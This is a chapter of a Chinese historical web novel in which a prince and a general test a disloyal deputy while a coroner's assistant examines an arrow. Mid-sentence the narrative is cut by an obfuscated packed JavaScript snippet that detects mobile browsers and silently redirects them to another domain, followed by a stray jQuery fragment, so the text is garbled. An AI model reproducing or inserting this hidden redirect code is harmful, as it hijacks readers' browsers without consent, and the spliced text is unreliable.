顾乔心中已有猜想,但出于谨慎,未向高骀透露只字片语。他转头看向那支带血的箭。
高骀注意到他的目光,摘下手套将另一张图纸递给他。
“这是我绘制的图样。殿下若是查案,想来可以用上。”
顾乔一瞧那图,箭镞和箭杆的大小、形状、长短都标注得事无巨细,样式也与实物如出一辙。
“高姑娘也善丹青?”
“依模照样罢了,算不得擅长。上山采药时也需辨认草药的模样,看多了也就多少会一些。”
高骀说得坦荡,面无异色。
顾乔思忖着她与此事既无牵扯,也无益处可获,也不便再忧她身怀疑窦,柔声道:“我送你出宫吧。”
“不必劳烦殿下。我与石仵作约好了,待勘验完便出去与他汇合。”
高骀侧头去瞧天色,天际已经微微擦黑,看来是要入夜了。她低头着手将工具都收回箱中。
顾乔也顺势往屋外一观,暮色渐沉,漫天黑云将最后一抹霞光逼至天边一角,时间似流水一样悄然溜走。顾乔心中哑笑,原本以为只过了一炷香。他捏搓着手里那两张薄纸,感慨着怎么到了这殓房之中,竟然有些感知不到时光流逝了。
“那,在下先行告退。”
高骀收好东西,放于脚边,朝向顾乔时左手握拳,右手包于其上,上身微弯,行过礼后就提箱转身离开了。
顾乔送出高骀离去的背影后仍留在殓房,打量着巫士的尸首和屋中陈设。
“对了。”
他正出神时,高骀折返了回来。
“屋内甘松味虽重,但衣袍上难免还是会遗留味道。这个香膏乃我亲手所制,浣衣时涂抹在表面再用清水洗去,可祛除尸臭。”
顾乔迎上她的眼神,见她背依墨云霞光,双眸中满盛着最朴素的关怀。他有些无所适从地应了声谢,摊开手将那香膏接了过来。
高骀也没再多停留,来去极快。好像只是走出几步才恍然想起此事,回首给了东西又飞速离去。仅此而已。
顾乔拿着香膏仔细端详一番,嘴角无意识地漾起一抹笑意。
他将此物收于袖中,又迈步上前,将染血的箭杆用巾帕包裹住,对着烛火详察。
这个箭镞表面光滑,做工精湛,形状流畅,非常人所能及。想来该是军中用物。
看来要去兵部寻个兵器造册对比对比,看看这只箭到底出自何处。
“殿下可在书房?”
“在。李将军请随我来。”
虽不过半日,但言栾府中的人都是有眼力的,记得李克的长相。
侍女上前叩门,轻声传唤一句,屋内就慵懒随性的语调回了声,“进。”
李克跨过门槛,刚一落脚,就瞥见满地的纸团,被揉得乱七八糟,零零散散地几乎铺满了整间屋子。
右脚似乎没空落下了。
他左右看了,最终还是勉强站定了,低头捡起一个纸团,展开一看,龙飞凤舞的字体横插在几排规整的小楷里。颇有种无声无息的静谧里炸出来一道惊世骇俗的冲天水花,实在是看得人眼睛疼。
“李将军?来,坐坐坐。”
言栾从书桌前抬起头,将垂在胸前的一缕长发甩到身后,撂下笔就往李克身边去。看见他被纸团困在一处,不免自讽道:“我正痴迷临摹前人书法,可惜不得要领。竟弄得这屋内一团糟,让将军见笑。”
言栾诮姗着一脚踢开地上的纸团,见他手中拿着一个,玩笑似地问道:“李将军性情豪迈但为人稳重,想来在书法上也定有心得,不知可否有过临摹的时候?”
李克捏着纸团的手一顿,面上堆笑,僵硬地回道:“没有。”
“那可见天赋异禀。本王倒是要加紧练练。”
言栾说时伸手邀李克到一侧坐下。
李克心虚地挪开眼神,总觉得言栾所说的天赋异禀是意有所指。
李克低头看向手里那张纸,轻轻地搁置到桌上,“殿下的字实乃笔酣墨饱,绵里裹铁,何需再学。”
言栾笑着斟茶,抬手就握住茶盏往嘴里送,呼出口气才慢慢缓过来,“李将军不必恭维我。我这字迹向来是信笔涂鸦,随心所欲罢了。哪有你说的这么好。不过这么晚找我,所为何事?”
“殿下委我训练府兵。我原以为是从头开始。但今日一见,殿下的府兵个个年富力强,武艺惊奇。无论技巧还是体系都已经很完备了,不知……末将还能为殿下做些什么?”
言栾眼皮半抬,轻摆了下头。“那只是表面而已。”他眼珠一转,将问题抛还给李克,“骁沛军如今主将和副将都已离营,不知是否乱套?”
“林将军御下有方,自然不会。”
言栾满意地点了点头,“这就是本王要的效果。”
李克似懂非懂地点点头,心想着既无标准可言,那成效也自然没有定论。他只需稍稍费心,便可了却这桩差事。
李克盯着他的面具,转念问起,“那日将军匆忙回京,末将还以为出了什么大事。没成想,殿下竟与将军相识,如此琴瑟和鸣、鹣鲽情深,当真叫人羡慕。”
言栾右边眉毛轻挑,嘴角还带着笑意,对此喜闻乐见,“是啊,我与你们将军鸾凤和鸣。怎么?她以前不曾对你们说过我与她的往事?”
“往事?”李克抓住字眼好奇追问。
但言栾没应,转头说起林芍落,“无妨无妨。反正林将军已爱本王至深,愿为我舍去将军头衔,一辈子留在京中,安享荣华富贵了。”
李克左眼一跳,狡黠的目光看了过来,“殿下是说将军要久留京中?”
“不错。所以李将军也不必急着回边关。多在这京城待上几日,就当是替林将军解闷。”
“自然自然。”
李克尾音沉落,目光垂下,盯着自己的衣袍和腰间的璏,那是用于固定他佩剑的玉饰。
久留京中……这倒是意外之喜。
言栾将李克安置在府中一处稍偏远的院落,四下安静,但离他的院子倒近,不过半刻钟的路程。
夜色渐浓,庭中已无灯火照映,独让月光撒亮地面,留下片片银光。
“噔噔。”
林芍落正打算落了门锁,熄掉烛火,却听到门外一声闷闷的叩门。
她朝外一推,映入眼帘的就是两床厚衾被。
“哎呀,可算应了。”
言栾毫不客气地挤开门缝,抱着两床极厚的衾被涌进林芍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523114|186302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落的房间。那衾被是做实了的,估计方圆百里的棉花都浓缩在那四四方方的被巾之中了。以至于林芍落还没来得及应对,就被两床被子撞了个踉跄。
“你这是?”
林芍落稍显错愕地看着言栾这阵势,是要防汛?
言栾把两床厚被搁置在地,本该是轻如鸿毛的东西,可落地时却砸出了沉闷一响。中间裹的一个玉枕也骨碌碌地滚出来,静静地躺在衾被正中。若是仔细看,还能瞧出里面那层是蚕丝被,不过看厚薄,没少累死上万只蚕。
言栾放下笼起的衣袖,一本正经回道:“白日演了恩爱的戏码,晚上却要分房而眠,不免为外人起疑。‘夏夜深如秋气清’,将军这屋中空荡,多添一人也难见闷热,所以今夜来蹭地板一睡。”
林芍落看着那垫在地上的织锦团花被,几乎有小臂那么厚,感慨这人当真是瓷做的一样,生怕磕了碎了。
林芍落关上门,习惯地朝四周一望,无人窥伺。
她靠近自己的床榻,准备抱起衾被往外走,“那我去密道。”
“等等。”言栾一把拉住林芍落,“密道近日正逢修缮,里面漆黑一片,将军还是不要冒这个险了。”
林芍落收回伸向被子的手,转头看向言栾,“殿下不想我出府?”
她拢被离开本就是个假动作,本意就是想要探问那座宅子,“殿下不是说要将那宅子赠予我吗?怎么如今却不让住了?”
言栾一听她又重唤殿下,心下了然她有所不喜,认真解释道:“将军不是只想要个备用的宅邸吗?当初所说只为过渡,但眼下你我仍未和离,纵使有密道,来去也费时间。再者,你我总是分开,被人瞧见了怕是不太好吧。”
“再没有其他理由?”
“不敢诓骗将军。”
林芍落低头看向言栾抓握的手,言栾立马识相地松开了。白日的那一记肘击的威力现在还记忆犹新呢。
林芍落敛下严肃的神色,背对言栾站立。心想的确不急于一时,十月将近,李克也暂留府中,她也可以再忍耐一些时日。
言栾转身迈开几步,拿起桌上的茶杯,却并不添水,只是拾起与另一个轻轻一碰。
他举起空空的茶杯看向林芍落,这才注意到她已经散开满头乌发,不像平日里高束马尾的高傲张扬或是绾发时的利落干练,此刻如瀑青丝垂落到她腰间,让人的神思都为此放缓。
言栾轻咳一声,将自己拽回到潇洒不羁的形象中来。
“猜得没错。”
他落座在案几旁,“你的那位副将很是关怀你我之事。我特意抛饵,说你将久留京中。他脸上笑意难消。看来是不想你回营了。”
至于顺道说了些林芍落爱重自己的话,言栾就隐下没讲。
林芍落回首,走到他对面坐下,“看来此局是双赢。”
两人刚回府时便打赌,李克若有机会,定会向言栾问询他与林芍落的婚事。
两人未下赌注,都认为此事是必然。
言栾好奇问道:“既然早已知晓他有异心,何不干脆利落地除掉?”
因为此人并不简单,惩处了他,还会有第二个李克从骁沛军中冒出来。
她要做的是除恶务尽。